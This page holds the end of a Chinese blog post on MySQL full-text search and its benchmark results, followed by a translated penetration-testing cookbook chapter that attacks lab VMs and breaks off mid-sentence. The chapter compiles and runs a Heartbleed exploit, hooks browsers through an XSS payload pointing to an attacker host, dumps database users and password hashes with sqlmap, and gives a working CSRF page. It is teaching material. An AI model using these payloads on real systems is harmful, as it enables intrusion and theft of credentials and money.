EXPANSION可以开启查询扩展全文搜索模式。其工作原理是执行两次搜索,第一次用给定的短语搜索,第二次使用给定的短语结合第一次搜索返回结果中相关性非常高的一些行进行搜索。 例1: SELECT * FROM articles WHERE MATCH (title,body) AGAINST ('database' IN NATURAL LANGUAGE MODE); 使用自然语言搜索返回了包含“database”的行。 例2: SELECT * FROM articles  WHERE MATCH (title,body) AGAINST ('database' WITH QUERY EXPANSION); 使用查询扩展全文搜索,不进返回了包含“database”的行,也返回了与例1中返回的行的内容相关的行。 注意事项 因为查询扩展会返回一些不相关的内容,因此会显著的引入噪声。索引仅当要查询的短语较短时才在考虑使用查询扩展全文搜索。 4.4全文搜索的停止字 上文已经简单介绍过了停止字列表,这里做详细介绍。停止字列表用MySQL Server所使用的字符集和校对集(分别由character_set_server和collation_server两个参数控制)载入并执行搜索。若用于全文索引和搜索的停止字文件或者停止字表使用了与MySQL Server不同的字符集和校对集会则导致查找停止字时错误的命中或未命中。 停止字查找的大小写敏感性也依赖于MySQL Server所使用的校对集,例如校对集为latin1_swedish_ci则查找是大小写不敏感的,若校对集为latin1_geberal_cs或者latin1_bin则查找是大小写敏感的。 InnoDB默认的停止字列表相对较短(因为技术上的或者文学等方面的文档常使用较短的词作为关键字或者有其他显著意义)。InnoDB默认的停止字列表存储在information_schema.innodb_ft_default_stopword表中。当然也可以通过自定义与innodb_ft_default_stopword表结构相同的表,填充期望的停止字,然后通过innodb_ft_server_stopword_table选项指定自定义的停止字表db_name/table_name,来改变默认的行为。另外还可以为innodb_ft_user_stopword_table选项指定含停止字的表,若同时指定了innodb_ft_default_stopword和innodb_ft_user_stopword_table则将使用后者指定的停止字表。上述操作改变所使用停止字表的操作需在创建全文索引前完成。且在指定所使用的停止字表时,表必须已经存在。 对于MyISAM可通过 ft_stopword_file选项指定所使用的停止字列表。MyISAM默认的停止字列表可在MySQL源码的 storage/myisam/ft_static.c文件中找到。 4.5全文搜索的限制 ? 目前只有InnoDB和MyISAM引擎支持全文搜索。其中InnodB表对FULLTEXT索引的支持从MySQL5.6.4开始。 ? 分区表不支持全文搜索。 ? 全文索引适用于多数多字节字符集。例外情况是:对于Unicode,utf8字符集可用但ucs2字符集不适用。尽管不能在ucs2列建立FULLTEXT索引,但可以在MyISAM表IN BOOLEAN MODE模式的搜索中搜索没有建立FULLTEXT索引的列。utf8的特性适用于utf8mb4,ucs2的特性适用于utf16、utf16e和utf32。 ? 表意型语言如汉语、日语没有诸如空格之类的单词定界符。因此FULLTEXT解析器不能确定此类语言中词的起止。对于此种情况要特殊处理(比如将中文转换成一种单字节类似英文习惯的存储方式)。 ? 允许在同一表中使用多种字符集,但FULLTEXT索引中的列必须使用同一字符集和校对集。 ? MATCH()函数中的列必须与FULLTEXT索引中定义的列完全一致,除非是在MyISAM表中使用IN BOOLEAN MODE模式的全文搜索(可在没有建立索引的列执行搜索,但速度很慢)。 ? AGAINST()函数中的参数需为在查询评估期间保持不变的字符串常量。 ? FULLTEXT搜索的索引提示比non-FULLTEXT搜索的索引提示要多一些限定:对于自然语言模式的全文搜索,索引提示会被忽略而不给出任何提示,比如虽明确在查询语句中给出了IGNORE INDEX(i)指明不使用i索引,但是该索引提示会被忽略掉,最终的查询中仍会使用索引i;对于布尔模式的全文搜索,FOR ORDER BY和FOR GROUP BY的索引提示会被忽略,FOR JOIN和不带FOR修饰符的索引提示不被忽略。 4.6全文搜索参数调整 仅有少量的用户可调参数用于调整MySQL的全文搜索能力。可以通过修改源码来获取更多对MySQL全文搜索行为的控制。但一般情况下不推荐这么做,除非很清楚自己在做什么,因为这些参数已经针对效率做过调整,修改默认的行为多数情况下反而会带来性能下降。 多数全文搜索相关的变量不能在Server运行的时候修改。需在Server启动时指定这些参数,或者修改完参数之后重新启动Server。另外,某些变量修改后需要重建FULLTEXT索引。 控制最小、最大字长的配置选项对于InnoDB为:innodb_ft_min_token_size和innodb_ft_max_token_size,对于MyISAM为:ft_min_word_len 和 ft_max_word_len。改变这些选项中任意一个的值都需重建FULLTEXT索引并重启Server。 用于停止字列表的配置选项对于InnoDB为:innodb_ft_enable_stopword、innodb_ft_server_stopword_table和innodb_ft_user_stopword_table,对于MyISAM为:ft_stopword_file。可以通过改变这些选项的值来开启/关闭停止字过滤并指定停止字列表。修改了这些选项后需重建索引并在必要的时候重启Server。 ft_stopword_file指定了包含停止字列表的文件,Server默认在数据目录搜索该文件除非用绝对路径指定了文件位置,若文件内容为空,则会关闭MyISAM的停止字过滤功能。停止字文件格式很灵活,可以使用任何非字母或数字的字符来界定停止字,但“_”和“’”例外,它们会被当作字的一部分处理。停止字列表使用Server默认的字符集。 MyISAM全文搜索的50%阈值特性可通过修改源码来关闭,将源码storage/myisam/ftdefs.h中的宏#define GWS_IN_USEGWS_PROB替换为#define GWS_IN_USE GWS_FREQ后重新编译MySQL即可。同样,不推荐上述方式,如果确实需要搜索一些通用的词,可以用布尔模式的全文搜获,此种情况下50%阈值特性不生效。 可以通过修改ft_boolean_syntax选项的值来更改MyISAM布尔全文搜做中默认使用的操作符(InnoDB无此选项)。该选项可动态改变但须超级用户权限,另外,改变了改制后无需重建FULLTEXT索引。 可以通过多种方式更改期望被认作是单词字符成分的字符集合。默认情况下“_”和“’”以及字母和数字被认为是组成单词的字符,其他的被默认为定界符。例如,我们现在想把连字符“-”也作为组成单词的字符处理,那么可以通过如下方式完成: ? 修改MySQL源码,在storage/myisam/ftdefs.h文件中找到true_word_char()和misc_word_char()两个宏,在任一个宏定义里添加“-”,重新编译MySQL。 ? 修改字符集文件,true_word_char()宏实际上利用“character type”表来从其他字符中区分出字母和数字。可以通过编辑字符集对应的XML文件中<ctype><map>节点中的内容来将“-”指定为“字母“,然后将该字符集用于FULLTEXT索引。此种方式无需重新编译MySQL。对于编辑字符集XML文件,可参阅MySQL参考手册CharacterDefinition Arrays部分。http://dev.mysql.com/doc/refman/5.6/en/character-arrays.html ? 对FULLTEXT索引列使用的字符集添加新的校对集,然后更新该列以使用新添加的校对集。具体参阅MySQL手册Adding a Collation to a Character Set以及Adding a Collation for Full-Text Indexing部分。http://dev.mysql.com/doc/refman/5.6/en/full-text-adding-collation.htmlhttp://dev.mysql.com/doc/refman/5.6/en/adding-collation.html 为InnoDB表重建FULLTEXT索引可以通过带DROP INDEX和ADD INDEX从句的ALTER TABLE语句完成,先删除旧的再创建新的。为MyISAM表重建FULLTEXT索引同样可通过上述语句完成,也可以通过QUICK repair操作来重建(但通常第一种方式会更快),如: mysql> REPAIR TABLE tbl_name QUICK; 需要特别说明的是,若通过repair表的方式来为MyISAM表重建FULLTEXT索引,则通过上述语句进行即可。用myisamchk工具也可以为MyISAM表重建索引,但是容易导致查询产生错误的结果,对表的修改可能使Server认为该表被损坏了。究其原因是因为通过myisamchk工具执行修改MyISAM表的索引的操作时,除非明确指定了要使用的参数值否则使用默认的全文索引参数值(如最小最大词长等)重建FULLTEXT索引。导致这种情况是因为只有Server才知道这些全文索引参数值,MyISAM索引文件中不存储这些值。若更改过了这些值,如设置了ft_min_word_len=2,则在通过myisamchk工具修复表时要明确指定该修改过的参数值如: shell> myisamchk --recover--ft_min_word_len=3 tbl_name.MYI 当然也可以通过在MySQL配置文件[myisamchk]节中加入同[mysqld]节中与全文搜索相关参数一致的参数来确保myisamchk使用最新的参数值来重建表的FULLTEXT索引。 用myisamchk为MyISAM表修改索引的替代方式是使用REPAIR TABLE、ANALYZE TABLE、 OPTIMIZE TABLE、ALTER TABLE,这些语句是由Server执行的因此可以读取到正确的全文索引参数值,不会引起问题。 4.7为全文搜索添加校对字符集 参考 10.4. Adding a Collation to a Character Set http://dev.mysql.com/doc/refman/5.6/en/adding-collation.html 12.9.7. Adding a Collation for Full-Text Indexing http://dev.mysql.com/doc/refman/5.6/en/full-text-adding-collation.html 5.性能对比测试 5.1测试环境 测试机:SVR644HP380 内存容量:8G MySQL Server版本:5.6.12 5.2测试设计 词汇量:6个等级,分别用vocab01k、vocab05k、vocab10k、vocab15k,vocab25k、vocab35k标记,每个等级的词汇数如下,1000、5000、10000、15000、25000、35000。(取牛津词典单词部分,去重复后随机打乱顺序,分别截取前1000、5000、10000……作为对应的词汇量) 记录数:20个等级,分别用rec005k、rec010k、rec015k、rec020k、……rec095k、rec100k标记,每个等级的记录数如下,5000、10000、15000、20000、25000、30000、……、95000、100000。 根据词汇量等级和记录数等级分别生成含不同记录数且表中文本列是由对应的词汇量生成的随机文本的表,共6*20=120个。表的存储引擎使用InnoDB。表由id和body两个字段组成,分别为整型和文本型,且在body列创建了FULLTEXT索引。表名的命名规则为vocab01k_rec005k,表示该表中共含有5千条记录,每条记录中的body列由vocab01k对应的词汇量生成的随机单词组成,以此类推。每行记录中的body列定为由50个随机单词组成。 比较两类查询:LIKE从句查询以及使用FULLTEXT索引的MATCH()AGAINST()查询。在每个表上分别执行LIKE查询和MATCH() AGAINST()全文查询,每个表上的每个查询分别执行50次,记录每次所耗费的时间。对于每50个消耗的时间,删除其最大两个值和最小两个值,取剩余值的均值作为查询耗时的最终结果。这样一共可获得120*2 = 240个时间数据,根据这些数据绘图。在每个表上执行的查询如下(其中random_word1、random_word2、random_word3是根据查询时表对应的词汇量生成的随机单词。): LIKE搜索:SELECT body FROM table_name WHERE body LIKE "%random_word1%" AND bodyLIKE "% random_word2%" AND body LIKE "% random_word3%"; FULLTEXT搜索:SELECT body FROM table_name WHERE MATCH(body) AGAINST("+random_word3 + random_word3+ random_word3" IN BOOLEAN MODE) 5.3测试结果 图示 LIKE搜索: FULLTEXT搜索: FULLTEXT搜索与LIKE搜索对比: 结果讨论 LIKE搜索的耗时随着记录数的增加而线性增长,但对于10万行记录以下的表(这里共100000*50个单词)搜索时间基本上能保持在1秒以内,所以like搜索的性能也不是特别差。由不同词汇量生成的文本对LIKE搜索的性能影响不大,不同词汇量对应的搜索时间基本上在一个很小的时间范围内变化。 FULLTEXT搜索耗时也随表中记录数的增长而线性增加。对于10万行记录以下的表(这里共100000*50个单词)搜索时间基本上能保持在0.01秒以内。由不同词汇量生成的随机文本对FULLTEXT搜索性能有相对来说比较显著的影响。每行记录中含同样的单词数,这样,较大的词汇量倾向于生成冗余度更低的文本,相应的搜索耗时倾向于更少。这可能与FULLTEXT索引建立单词索引的机制有关,较大的词汇量倾向于生成范围广但相对较浅的索引,因而能快速确定文本是否匹配。 与LIKE搜索相比,FULLTEXT全文搜索的性能要强很多,对于10万行记录的表,搜索时间都在0.02秒以下。因此可以将基于FULLTEXT索引的文本搜索部署于网站项目中的文本搜索功能中。但是,正如上述提到的,无论是LIKE搜索还是FULLTEXT搜索,其性能都会随着记录数的增长而下降,因此,若网站项目中的文本搜索数据库记录数庞大的一定规模后,可能需要考虑使用MySQL数据库全文搜索以外的文本搜索解决方案了。 About Me ............................................................................................................................................. ● 本文作者:小麦苗,部分内容整理自网络,若有侵权请联系小麦苗删除 ● 本文在itpub(http://blog.itpub.net/26736162/abstract/1/)、博客园(http://www.cnblogs.com/lhrbest)和个人微信公众号(xiaomaimiaolhr)上有同步更新 ● 本文itpub地址:http://blog.itpub.net/26736162/abstract/1/ ● 本文博客园地址:http://www.cnblogs.com/lhrbest ● 本文pdf版、个人简介及小麦苗云盘地址:http://blog.itpub.net/26736162/viewspace-1624453/ ● 数据库笔试面试题库及解答:http://blog.itpub.net/26736162/viewspace-2134706/ ● DBA宝典今日头条号地址:http://www.toutiao.com/c/user/6401772890/#mid=1564638659405826 ............................................................................................................................................. ● QQ群号:230161599(满)、618766405 ● 微信群:可加我微信,我拉大家进群,非诚勿扰 ● 联系我请加QQ好友(646634621),注明添加缘由 ● 于 2017-09-01 09:00 ~ 2017-09-30 22:00 在魔都完成 ● 文章内容来源于小麦苗的学习笔记,部分整理自网络,若有侵权或不当之处还请谅解 ● 版权所有,欢迎分享本文,转载请保留出处 ............................................................................................................................................. ● 小麦苗的微店:https://weidian.com/s/793741433?wfr=c&ifr=shopdetail ● 小麦苗出版的数据库类丛书:http://blog.itpub.net/26736162/viewspace-2142121/ ............................................................................................................................................. 使用微信客户端扫描下面的二维码来关注小麦苗的微信公众号(xiaomaimiaolhr)及QQ群(DBA宝典),学习最实用的数据库技术。    小麦苗的微信公众号      小麦苗的DBA宝典QQ群1     小麦苗的DBA宝典QQ群2        小麦苗的微店 .............................................................................................................................................
文章
SQL  ·  自然语言处理  ·  关系型数据库  ·  MySQL  ·  索引
2017-09-08
Kali Linux Web 渗透测试秘籍 第七章 高级利用
第七章 高级利用 作者:Gilberto Najera-Gutierrez 译者:飞龙 协议:CC BY-NC-SA 4.0 简介 在获得一些便利来发现和利用漏洞之后,我们现在转向可能需要更多努力的其他问题上。 这一章中,我们会搜索利用,编译程序,建立服务器以及破解密码,这可以让我们访问敏感信息,并执行服务器和应用中的特权功能。 7.1 在 Exploit-DB 中搜索 Web 服务器的漏洞 我们偶尔会在操作系统中, Web 应用所使用的库中,以及活动服务中发现服务器漏洞,或者可以在浏览器或 Web 代理中不能利用的安全问题。对于这些情况,我们可以使用 Metasploit 的利用集合,或者如果我们要找的不在 Metasploit 里面,我们可以在 Exploit-DB 中搜索它。 Kali 包含了 Exploit-DB 中的利用的离线副本。这个秘籍中,我们会使用 Kali 自带的命令来探索这个数据库并找到我们需要的利用。 操作步骤 打开终端。 输入下列命令: searchsploit heartbleed 下一步是将利用复制到一个可以修改的地方,并编译它,像这样: mkdir heartbleed cd heartbleed cp /usr/share/exploitdb/platforms/multiple/remote/32998.c 通常,利用在第一行包含一些自身信息,以及如何使用它们,像这样: head -n 30 32998.c 这里,利用使用 C 编写,所以我们需要将它编译来使用。编译命令在文件中显示(cc -lssl -lssl3 -lcrypto heartbleed.c -o heartbleed),它在 Kali 中不起作用,所以我们需要下面这个: gcc 32998.c -o heartbleed -Wl,-Bstatic -lssl -Wl,-Bdynamic -lssl3 -lcrypto 工作原理 searchsploit命令是安装在 Kali 中的 Exploit-DB 本地副本的接口。它用于在利用的标题和描述中搜索字符串,并显示结果。 利用存在于/usr/share/exploitdb/platforms目录中。searchsploit所展示的利用目录是它的相对路径,这就是我们在复制文件的时候使用完整路径的原因。利用文件以利用编号命名,在它们被提交到Exploit-DB 时分配。 编译步骤和在源代码中的推荐有些不同,因为 OpenSSL 库在基于 Debian 的发行版中,由于它们从源代码中构建的方式而缺少一些功能。 更多 监控利用的影响和效果极其重要,因为我们在实时系统中使用它。通常,Exploit-DB 中的利用都值得相信,即使它们通常需要一些调整来工作在特定的环境中,但是它们中有一些不像他们所说的那样。出于这个原因,在真实世界的渗透测试中使用之前,我们需要检查源代码并在我们的实验环境中测试它们。 另见 除了 Exploit-DB(www.exploit-db.com),也有一些其他站点可以用于搜索目标系统中的已知漏洞和利用: http://www.securityfocus.com http://www.xssed.com/ https://packetstormsecurity.com/ http://seclists.org/fulldisclosure/ http://0day.today/ 7.2 利用 Heartbleed 漏洞 这个秘籍中,我们会使用之前编译的 Heartbleed 利用来提取关于存在漏洞的 Bee-box 服务器的信息(https://192.168.56.103:8443/)。 Bee-box 虚拟机可以从https://www.vulnhub.com/ entry/bwapp-bee-box-v16,53/下载,那里也有安装指南。 准备 在上一个秘籍中,我们生成了 Heartbleed 利用的可执行文件。我们现在使用它来利用服务器的漏洞。 Heartbleed 是能够从服务器内存中提取信息的漏洞。在尝试利用来获得一些要提取的信息之前,可能需要浏览并向服务器的 8443 端口上的 HTTPS 页面发送数据。 操作步骤 如果我们检查Bee-Box 的 8443 端口,我们会发现它存在 Heartbleed 漏洞。 sslscan 192.168.56.103:8443 现在,让我们开始利用漏洞。手心,我们访问包含可执行利用的文件夹: cd heartbleed 之后我们检查程序的选项,像这样: ./heartbleed --help 我们要尝试利用192.168.56.103的 443 端口,获得最大的泄露并保存输出到文本文件hb_test.txt。 ./heartbleed -s 192.168.56.103 -p 8443 -f hb_test.txt -t 1 现在,如果我们检查hb_test.txt的内容: cat hb_test.txt 我们的利用从 HTTPS 服务器中提取了信息,从这里我们可以看到会话 OD 甚至还有完整的登录请求,包括纯文本用户名和密码。 如果我们想要跳过所有的二进制数据,只查看文件中的可读文本,使用strings命令: strings hb_test.txt 工作原理 我们在第四章中提到过,Heartbleed 漏洞允许攻击者从 OpenSSL 服务器内存中以纯文本读取信息,这意味着我们不需要解密甚至是解释任何客户端和服务端之间的通信,我们只需简单地向服务器请求内存中的东西,它会回应未加密的信息。 这个秘籍中,我们使用了可公共访问的利用来执行攻击,并获取到至少一个有效的会话 ID。有的时候还可能在 Heartbleed 的转储中找到密码或其它敏感信息。 最后,strings命令只展示文件中的字符串,跳过所有特殊字符,使其更加易读。 7.3 使用 BeEF 利用 XSS BeEF,即浏览器利用框架,是个专注于客户端攻击向量的框架,特别是 Web 浏览器的攻击。 这个秘籍中,我们会利用 XSS 漏洞并使用 BeEF 来控制客户端浏览器。 准备 在开始之前,我们需要确保启动了 BeEF 服务,并且能够访问http://127.0.0.1:3000/ui/panel(使用beef/beef身份标识)。 Kali 的默认 BeEF 服务不能工作。所以我们不能仅仅运行beef-xss让它启动。我们需要从安装目录中启动它,像这样: cd /usr/share/beef-xss/ ./beef 现在,浏览http://127.0.0.1:3000/ui/panel并使用beef作为用户名和密码。如果有效,我们就准备好了。 操作步骤 BeEF 需要客户端浏览器调用hook.js文件,这用于将浏览器勾到我们的 BeEF 服务器,我们会使用一个存在 XSS 漏洞的应用来使用户调用它。为了尝试简单的 XSS 测试,浏览http://192.168.56.102/bodgeit/search.jsp?q=%3Cscript%3Ealert%28 1%29%3C%2Fscript%3E。 这就是存在 XSS 漏洞的应用,所以现在我们需要修改脚本来调用hook.js。想象一下你就是受害者,你已经收到了包含http://192.168.56.102/bodgeit/search.jsp?q=<script src="http://192.168.56.1:3000/hook.js"></script>链接的邮件,你打算浏览器它来看看,像这样: 现在,在 BeEF 面板中,攻击者会看到新的在线浏览器。 攻击者的最佳步骤就是生成一些持久的,至少在用户浏览期间有效。访问攻击者浏览器的Command标签页,从这里选择Persistence | Man-In-The-Browser之后点击Execute。执行之后,选择Module Results History中的相关命令来检查结果,像这样: 如果我们检查浏览器中的Logs标签页,我们可能会看到BeEF正在储存用户关于用户在浏览器中执行什么操作的信息,例如输入和点击,我们可以在这里看到: 我们也可以通过使用Commands | Browser | Hooked Domain | Get Cookie来获取Cookie,像这样: 工作原理 这个秘籍中,我们使用了script标签的src属性来调用外部 JS 文件,这里是 BeEF的钩子。 hook.js文件与服务器通信,执行命令并返回响应,使攻击者能够看到它们。它在客户端的浏览器中不打印任何东西,所以受害者通常不会知道他的浏览器正在被攻击。 在让受害者执行我们的hook脚本之后,我们使用持久化模块 Man In The Browser 使浏览器在每次用户点击链接时,向相同域发送 AJAX 请求,所以这个请求维持了钩子,也加载了新的页面。 我么也会看到,BeEF 的日志记录了用户在页面上执行的每个步骤,我们能够从中获得用户名和密码信息。也可以用来获得远程的会话 Cookie,这可以让攻击者劫持受害者的会话。 更多 BeEF 拥有很多功能,从判断受害者所使用的浏览器类型,到利用已知漏洞和完全攻陷客户端系统。一些有趣的特性是: Social Engineering/Pretty Theft:这是个社会工程工具,允许我们模拟登陆页面,就像常见的服务那样,例如 Fackbook、Linkedin、YouTube 以及其它。 Browser/Webcam and Browser/Webcam HTML5:就像看上去那样,这两个模块能够恶意使用许可配置来激活受害者的摄像头,前者使用隐藏的 Flash embed标签,后者使用 HTML5 标签。 Exploits folder:这包含一组特殊软件和情况的利用,它们中的一些利用服务和其它客户端浏览器。 Browser/Hooked Domain/Get Stored Credentials:这会尝试提取浏览器中储存的沦陷域的用户名和密码。 Use as Proxy:如果我们右击被勾住的浏览器,我们会获得将其用作代理的选项。这将客户端浏览器用作代理,会给我们机会来探索受害者的内部网络。 BeEF 有许多其它攻击和模块,对渗透测试者非常实用,如果你想要了解更多,你可以查看官方的 Wiki:https://github.com/ beefproject/beef/wiki。 7.4 利用 SQL 盲注 在第六章中,我们利用了基于错误的 SQL 注入,现在我们使用 Burp Suite Intruder 作为主要工具来识别和利用 SQL 盲注。 准备 使浏览器将 Burp Suite 用作代理。 操作步骤 浏览http://192.168.56.102/WebGoat,实用webgoat作为用户名和密码登录。 点击Start WebGoat来访问 WebGoat 的主页。 访问Injection Flaws | Blind Numeric SQL Injection。 页面上说,练习的目标是找到给定字段在给定行中的值。我们的做事方式有一点不同,但是让我们看看它如何工作:将101作为账户号码,并点击go。 现在尝试1011。 到目前为止,我们看到了应用的行为,它仅仅告诉我们账户号码是否有效。 让我们尝试注入,因为它查找号码,可能将它们用作整数。我们在测试中不使用单引号,所以提交101 and 1=1 现在尝试101 and 1=2。 看上去这里有个盲注,在有效的账户中注入恒真的条件结果。注入恒假的条件时会出现Invalid account number信息。 在这个秘籍中,我们要获得连接到数据库的用户名称。所以我们首先需要知道用户名称的长度。让我们尝试一下,注入101 AND 1=char_length(current_user)。 下一步是在 BurpSuite 的代理中寻找最后一个请求,并将它发送到 intruder中,像这样: 一旦发送到 intruder,我们可以清楚所有载荷标记,并在AND后面的1中添加新的,像这样: 访问载荷部分并将Payload type设为Numbers。 将Payload type设为Sequential,从 1 到 15,步长为 1。 为了看看响应是否满足要求,访问Intruder's options,清除GrepMatch列表并添加Invalid account number,以及Account number is valid。 我们需要在每个 intruder 的标签页中这样修改。 为了使应用自动化,在Redirections中选择Always,并在Redirections中选择Process cookies。 我们需要在每个 intruder 的标签页中这样修改。 开始攻击 它找到了号码为 2 的有效响应,这意味着用户名只含有两个字符长。 现在,我们打算猜测用户名的每个字符,从第一个字符开始。在应用中提交下列代码:101 AND 1=(current_user LIKE 'b%')。 我们选择b作为第一个字符,让 BurpSuite 来获取请求,它应该为任意字符。 同样,我们将请求发送给 intruder 并保留唯一的载荷标记b,它是名称的首单词。 我们的载荷应该是含有所有小写字母和大写字母的列表(从 a 到 z 以及 A 到 Z)。 在 intruder 中重复步骤 13 到 14 并开始攻击,像这样: 我们的用户名的首字母是S。 现在,我们需要找到名称的第二个单词,所以我们提交101 AND 1=(current_user='Sa')到应用的文本框,并发送请求给 intruder。 现在我们的载荷标记是S后面的a,换句话说,名称的第二个字符。 重复步骤 18 到 19。在我们的例子中,我们只使用了俩表中的大写字母,因为如果第一个单词是大写的,两个单词就很可能都是大写的。 名称的第二个单词是A,所以应用用于执行查询的数据库用户是SA。SA在 MSSQL 数据库中的意思是系统管理员。 工作原理 利用 SQL 盲注比起基于错误的注入花费更多精力和时间。在这个秘籍中我们看到了如何获取连接到数据库的用户名,而在第六章的 SQL 注入利用汇总,我们使用了一条命令来获取它。 我们可以使用字典来查看当前用户是否在名称列表中,但是如果名称不在列表中,会花费更多时间。 我们最开始识别了漏洞,所显示的信息告诉我们我们的请求是真是假。 一旦我们知道存在注入,并且正面的响应是什么样子,我们开始询问当前用户的长度,询问数据库,1是否是当前用户名的长度,是不是2,以此类推,知道我们发现了长度。知道何时停止用户名长度的搜索非常重要。 在找到长度之后,我们使用相同的技巧来发现首字母,LIKE 'b%'语句告诉 SQL 解释器是否首字母是b,剩下的并不重要,它可以是任何东西(%是用于多数 SQL 实现的通配符)。这里,我们看到了首字母是S。使用相同的技巧,我们就能发现第二个字符,并得到整个名称。 更多 这个攻击可以继续来获得 DBMS 的版本,之后使用厂商特定的命令来观察是否用户拥有管理权限。如果是的话,你可以提取所有用户名和密码,激活远程连接,以及除此之外的许多事情。 你可以尝试的事情之一就是使用 SQLMap 来利用这类型的注入。 还有另一种类型的盲注,它是基于时间的 SQL 盲注。其中我们没有可视化的线索,关于命令是否被执行(就像有效或者无效的账户信息)。反之,我们需要给数据库发送sleep命令,如果响应时间鲳鱼我们发送的时间,那么它就是真的响应。这类型的攻击非常缓慢,因为它有时需要等待 30 秒来获得仅仅一个字符。拥有类似 sqlninja 或者 SQLMap 的工具在这种情况下十分有用(https://www.owasp.org/index.php/Blind_SQL_Injection)。 7.5 使用 SQLMap 获得数据库信息 在第六章中,我们使用了 SQLMap 来从数据库提取信息和表的内容。这非常实用,但是这不仅仅是这个工具的优势,也不是最有趣的事情。这个秘籍中,我们会将其用于提取关于数据库用户和密码的信息,这可以让我们访问整个系统,而不仅仅是应用。 操作步骤 启动 Bee-box 虚拟机之后,将 BurpSuite 监听用做代理,登录和选择 SQL 注入漏洞(POST/Search)。 输入任何电影名称并点击Search。 现在让我们访问 BuirpSuite 并查看请求: 现在,在 Kali 中访问终端并输入以下命令: sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title --is-dba 我们可以看到注入成功了。当前的用户是 DBA,这意味着用户可以对数据库执行管理员操作,例如添加用户和修改密码。 现在我们打算提取更多信息,例如用户和密码,所以在终端中输入以下命令: sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title --is-dba --users --passwords 我们现在得到了数据库的用户列表以及哈希后的密码。 我们也可以获得 shell,让我们能够直接发送 SQL 查询到数据库。 sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title –sql-shell 工作原理 一旦我们知道了存在 SQL 注入,我们使用 SQLMap 来利用它,像这样: sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title --is-dba 在这个对 SQLMap 的调动中,我们使用了--cookie参数来发送会话 Cookie 因为应用需要身份验证来访问sqli_6.php页面。--data参数包含发送到服务器的 POST 数据,=p告诉 SQLMap 仅仅注入title参数,--is-dba询问数据库当前用户是否拥有管理员权限。 DBA 允许我们向数据库询问其他用户的信息,SQLMap 通过--users和--passwords使我们的操作变得更加容易。这些参数询问用户名和密码,因为所有 DBMS 将用户的密码加密存储,我们获得的只能是哈希。所以我们仍然要使用密码破解器来破解它们。如果你在 SQLMap 询问你执行字典攻击的时候回答Yes,你可能就知道了至少一个用户的密码。 我们也使用了--sql-shell选项来从我们向数据库发送的 SQL 查询中获得 shell。这并不是真的 shell,当然,SQLMap 通过 SQL 注入发送我们写的命令,并返回这些查询的结果。 7.6 执行 CSRF 攻击 CSRF 攻击强迫身份验证后的用户在 Web 应用中执行需要身份验证的,非预期的行为。这可以通过用户所浏览的外部站点触发该行为来实现。 这个秘籍中,我们会获取应用中的信息,来观察攻击站点是否能够发送有效的请求给漏洞服务器。之后,我们会创建页面来模拟正常请求并诱使用户在身份验证后访问这个页面。恶意页面之后会发送请求给漏洞服务器,如果应用在相同浏览器中打开,它会执行操作,好像用户发送了它们。 准备 为了执行 CSRF 攻击,我们使用 vulnerable_vm 中的 WackoPicko 应用:http://192.168.56.102/WackoPicko。我们需要两个用户,一个叫做v_user,是受害者,另一个叫做attacker。 我们也需要启动 BurpSuite 并将其配置为服务器的代理。 操作步骤 作为attacker登录 WackoPicko。 攻击者首先需要了解应用的行为,所以如果我们发酸使用户购买我们的图片,将 BurpSuite 用作代理,我们需要浏览:http://192.168.56.102/WackoPicko/pictures/recent.php。 选项 ID 为 8 的图片:http://192.168.56.102/WackoPicko/ pictures/view.php?picid=8。 点击Add to Cart。 会花费我们 10 个 Tradebux,但这是值得的,所以点击Continue to Confirmation。 在下一页上,点击Purchase。 现在,让我们访问 BurpSuite 来分析发生了什么。 第一个有趣的调用是/WackoPicko/cart/action. php?action=add&picid=8,它是添加图片到购物车的请求。/WackoPicko/cart/confirm.php在我们点击相应按钮时调用,它可能必须用于购买。另一个可被攻击者利用的是购买操作的 POST 调用:/WackoPicko/cart/action. php?action=purchase,他告诉应用将图片添加到购物车中并收相应的 Tradebux。 现在,攻击者需要上传图片来强迫其它用户购买。登录为attacker之后,访问Upload,填充所需信息,选项需要上传的文件,点击UploadFile。 一旦图片呗上传,我们会直接重定向到它的相应页面,你可以在这里看到: 要注意为图片分配的 ID,它是攻击的核心部分,这里它是 16。 一旦我们分析了购买流程,并拥有了图片 ID,我们需要启动托管恶意页面的服务器。在 Kali 中以 root 用户启动 Apache 服务器,像这样: service apache2 start 之后,创建 HTML 文件,叫做/var/www/html/wackopurchase.html,带有如下内容: <html> <head></head> <body onLoad='window.location="http://192.168.56.102/ WackoPicko/cart/action.php?action=purchase";setTimeout("window. close;",1000)'> <h1>Error 404: Not found</h1> <iframe src="http://192.168.56.102/WackoPicko/cart/action. php?action=add&picid=16"> <iframe src="http://192.168.56.102/WackoPicko/cart/review.php" > <iframe src="http://192.168.56.102/WackoPicko/cart/confirm.php"> </iframe> </iframe> </iframe> </body> 这个代码会我们的商品的发送add、review和confirm请求给 WackoPicko ,之后展示 404 页面给用户,当它加载完成后,它会重定向到购买操作,之后在一秒后关闭窗口。 现在以v_user登录,上传图片并登出。 作为攻击者,我们需要确保用户访问我们的恶意站点,同时仍然保持登录 WackoPicko。以attacker登录之后,访问Recent并选择属于v_user的图片(刚刚上传的那个)。 我们需要在图片上输入下列评论。 This image looks a lot like <a href="http://192.168.56.1/ wackopurchase.html" target="_blank">this</a> 译者注:这一步的前提是页面上存在 XSS,没有的话利用社会工程直接发送链接也是可行的。 点击Preview之后Create。 你可以看到,评论中允许HTML 代码,而且当v_user点击链接是,我们的恶意页面会在新窗口打开。 登出并以v_user登录。 访问Home并点击Your Purchased Pics,这里应该没有攻击者的图片。 再次访问Home,之后访问Your Uploaded Pics。 选项带有攻击者评论的图片。 点击评论中的链接。 当它完全加载之后,你应该看到文本框中的一些 WackoPicko 的文本,这个窗口会在一秒之后关闭,我们的攻击已经完成了。 如果我们访问Home,你可以看到v_user的 Tradebux 余额现在是 85。 现在访问Your Purchased Pics:http://192.168.56.102/WackoPicko/ 